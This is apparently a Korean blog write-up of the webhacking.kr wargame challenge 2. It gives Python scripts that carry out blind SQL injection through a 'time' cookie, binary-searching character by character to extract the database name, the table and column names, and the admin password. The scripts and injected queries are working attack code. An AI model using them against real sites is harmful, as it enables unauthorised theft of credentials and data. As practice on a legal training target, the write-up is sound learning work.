webhacking.kr 2번 문제를 다시 풀어보며 복습하자.
알아야 하는 것: admin 패스워드
아는 것: 주석 내 시간정보
1) 현재 DB의 table 수 알아내기
#1
DB명 길이: (select length(database()))
결과: 6
#2
DB명 알아내기
노가다 하다가 귀찮아서 코드짰다.
일전에 LOS 풀며 배운 이진탐색 알고리즘 이용했던거.. 활용함.
def db_find():
length = 6
db = ""
for i in range(length):
start_num = 1
end_num = 127
value = 64
while True:
cookie = {
"PHPSESSID": "세션",
"time": "ord(substring(database(),{},1))={}".format(i + 1, value),
}
print(cookie)
req = requests.get(url, cookies=cookie)
if "09:00:01" in req.text:
db += chr(value)
break
else:
cookie = {
"PHPSESSID": "세션",
"time": "ord(substring(database(),{},1)) > {}".format(i + 1, value),
}
req = requests.get(url, cookies=cookie)
if "09:00:01" in req.text:
start_num = value
value = (value + end_num) // 2
else:
end_num = value
value = (start_num + value) // 2
print("db_name: ", db)
#3
(select count(table_name) from information_schema.tables where table_schema='chall2')
- table_schema='DB명'
- 결과: 2
- 참고로 DB명대신 database() 사용해도 된다.
2) 두 가지 테이블의 길이 알아내기
#(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)
#(select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)--
첫번째 테이블: 13 / 두번째 테이블: 3
3글자일리가 없다. 바라지도 말자.
3) 테이블명 알아내기
#1
def tb_find():
length = 13
tb = ""
for i in range(length):
start_num = 1
end_num = 127
value = 64
while True:
cookie = {
"PHPSESSID": "세션",
"time": "if(ord(substring((select table_name from information_schema.tables where table_schema='알아낸DB명' limit 0,1),{},1))={},1,0)".format(
i + 1, value
),
}
print(cookie)
req = requests.get(url, cookies=cookie)
if "09:00:01" in req.text:
tb += chr(value)
break
else:
cookie = {
"PHPSESSID": "세션",
"time": "if(ord(substring((select table_name from information_schema.tables where table_schema='알아낸DB명' limit 0,1),{},1)) > {},1,0)".format(
i + 1, value
),
}
req = requests.get(url, cookies=cookie)
if "09:00:01" in req.text:
start_num = value
value = (value + end_num) // 2 # //연산자는 나눗셈의 몫을 가져온다.
else:
end_num = value
value = (start_num + value) // 2
print("table_name: ", tb)
어떻게 해야 req.text로 테이블 명을 알 수 있을까 한참 고민했다.
왜냐면 time 쿠키에 if문 사용하는 것을 생각도 못해서....ㅋ 엇쉬 아스키 값으로 시간 나오는데 이걸 어떻게 해야하나 걱정함.
아무튼 해결!
4) admin의 pw알아내기
#1
(select count(column_name) from information_schema.columns where table_name='admin_area_pw')
- 결과: 1
- 칼럼이 한개? 말도안돼
#2
(select length(column_name) from information_schema.columns where table_name='admin_area_pw')
- 결과: 2
- 2글자? 설마 pw? 그래도 스크립트 짜는 연습 해야한다. 코드짜라.
def column_find():
length = 2
col = ""
for i in range(length):
start_num = 1
end_num = 127
value = 64
while True:
cookie = {
"PHPSESSID": "세션",
"time": "if(ord(substring((select column_name from information_schema.columns where table_name='admin_area_pw' limit 0,1),{},1))={},1,0)".format(
i + 1, value
),
}
print(cookie)
req = requests.get(url, cookies=cookie)
if "09:00:01" in req.text:
col += chr(value)
break
else:
cookie = {
"PHPSESSID": "세션",
"time": "if(ord(substring((select column_name from information_schema.columns where table_name='admin_area_pw' limit 0,1),{},1))>{},1,0)".format(
i + 1, value
),
}
req = requests.get(url, cookies=cookie)
if "09:00:01" in req.text:
start_num = value
value = (value + end_num) // 2 # //연산자는 나눗셈의 몫을 가져온다.
else:
end_num = value
value = (start_num + value) // 2
print("column: ", col)
#3 패스워드 길이 알아내기
(select length(pw) from admin_area_pw)
- 결과: 17
#4
코드돌려
def pw_find():
length = 17
pw = ""
for i in range(length):
start_num = 1
end_num = 127
value = 64
while True:
cookie = {
"PHPSESSID": "세션",
"time": "if(ord(substring((select pw from admin_area_pw limit 0,1),{},1))={},1,0)".format(
i + 1, value
),
}
print(cookie)
req = requests.get(url, cookies=cookie)
if "09:00:01" in req.text:
pw += chr(value)
break
else:
cookie = {
"PHPSESSID": "세션",
"time": "if(ord(substring((select pw from admin_area_pw limit 0,1),{},1))>{},1,0)".format(
i + 1, value
),
}
req = requests.get(url, cookies=cookie)
if "09:00:01" in req.text:
start_num = value
value = (value + end_num) // 2 # //연산자는 나눗셈의 몫을 가져온다.
else:
end_num = value
value = (start_num + value) // 2
print("pw: ", pw)
성공
'Play > wargame' 카테고리의 다른 글
[LOS] Load of SQLInjection 12번 풀이 (5) | 2022.10.25 |
---|---|
[LOS] Load of SQLInjection 10번 (0) | 2022.10.24 |
[LOS] Lord of SQLinjection 7번 (0) | 2022.10.23 |
webhacking.kr 6번 - base64 (0) | 2022.10.18 |
[LOS] Lord of SQLinjection 1~4 문풀 정리 (0) | 2022.10.04 |